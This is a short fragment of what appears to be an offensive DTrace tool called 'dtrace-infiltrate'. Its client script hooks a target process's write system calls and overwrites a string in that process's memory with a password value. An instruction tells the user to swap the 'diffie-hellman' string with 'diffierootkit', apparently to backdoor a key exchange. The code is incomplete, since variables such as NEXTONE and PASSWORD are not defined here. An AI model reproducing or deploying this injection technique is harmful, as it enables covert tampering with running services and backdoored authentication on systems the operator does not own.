dtrace-infiltrate

dshdbd.d - Client
Then swap out the diffie-hellman string with diffierootkit.
syscall::write*:entry
/NEXTONE == 1 && FINISHED == 0 && pid == $target/
{
NEXTONE = 2; /* no more */
printf("[+] Writing out to 0x%lx\n",arg1);
printf("[+] Current value: %s\n",copyinstr(arg1+26,100));
copyout(PASSWORD,arg1+26,strlen(PASSWORD));
printf("[+] New value: %s\n",copyinstr(arg1+26,100));
self->changethis = 0;
FINISHED = 1;
}